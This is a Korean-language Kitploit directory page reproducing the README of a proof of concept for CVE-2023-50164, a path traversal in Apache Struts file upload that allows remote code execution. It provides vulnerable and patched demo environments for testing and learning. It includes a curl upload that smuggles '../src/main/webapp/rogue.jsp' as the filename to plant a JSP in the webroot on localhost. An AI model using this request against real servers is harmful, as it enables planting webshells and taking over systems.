Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-50164-POC — CVE-2023-50164에 대한 개념 증명 익스플로잇으로, Apache Struts의 경로 탐색 취약점으로 인해 원격 코드 실행이 가능합니다. 테스트 및 학습을 위한 취약한 환경과 패치된 데모 환경을 포함합니다. | Kitploit
도구/GitHubGitHub/snyk-labs/cve-2023-50164-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubsnyk-labs/cve-2023-50164-poc

CVE-2023-50164-POC

CVE-2023-50164에 대한 개념 증명 익스플로잇으로, Apache Struts의 경로 탐색 취약점으로 인해 원격 코드 실행이 가능합니다. 테스트 및 학습을 위한 취약한 환경과 패치된 데모 환경을 포함합니다.

저장소 보기
61389개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

이것은 CVE-2023-50164에 대한 개념 증명(PoC)입니다. 이는 struts-core에서 원격 코드 실행(RCE)으로 이어질 수 있는 새로운 경로 탐색 취약점을 설명합니다.

이 문제를 해결하려면 Struts 2.5.33 또는 Struts 6.3.0.2 이상으로 업데이트하는 것이 좋습니다.

이 저장소는 Henrik Plate의 훌륭한 작업을 기반으로 합니다. 여기에서 찾을 수 있습니다.

PoC 실행

이 프로젝트에는 두 개의 Maven 프로파일이 있습니다: vuln 및 no-vuln. vuln이 기본값입니다.

RCE 취약점이 있는 상태로 실행하려면 다음을 실행하십시오:

root@kitploit:~
mvn clean jetty:run -P vuln

RCE 취약점 없이 실행하려면 다음을 실행하십시오:

root@kitploit:~
mvn clean jetty:run -P no-vuln

두 프로파일의 차이점은 vuln은 struts-core 버전 6.3.0.1을 사용하며(경로 탐색 취약점이 있음) no-vuln은 버전 를 사용한다는 것입니다(경로 탐색 취약점이 없음).

struts-core
6.3.0.2

취약점 익스플로잇

위에서 설명한 vuln 프로파일을 실행하는 동안 다음을 실행하십시오:

root@kitploit:~
curl \
http://localhost:9999/struts-vuln-poc/upload.action \
-F "Upload=@./payload/rogue.jsp" \
-F "uploadFileName=../src/main/webapp/rogue.jsp"

src/main/webapp 폴더에서 rogue.jsp 파일을 볼 수 있으며, 다음에서 찾아볼 수 있습니다: http://localhost:9999/struts-vuln-poc/rogue.jsp (Ya been PWNED! 메시지가 표시됩니다).

이전 Struts 버전에서 작동하는 코드 수정 솔루션이 있지만, 여전히 Struts 버전을 업데이트하는 것이 좋습니다.

코드 수정을 실행하려면 다음을 실행하십시오:

root@kitploit:~
curl \
http://localhost:9999/struts-vuln-poc/upload-no-vuln.action \
-F "Upload=@./payload/rogue.jsp" \
-F "uploadFileName=../src/main/webapp/rogue.jsp"

다음 오류 메시지가 표시됩니다: Attempted path traversal attack

참고: no-vuln 프로파일을 사용하는 경우, 상대 경로(예: ../src/main/webapp/rogue.jsp)를 사용하더라도 /upload-no-vuln 엔드포인트에서 오류 메시지가 표시되지 않습니다. 새 버전의 Struts가 자동으로 상대 경로 참조를 제거하기 때문입니다.

도구 다운로드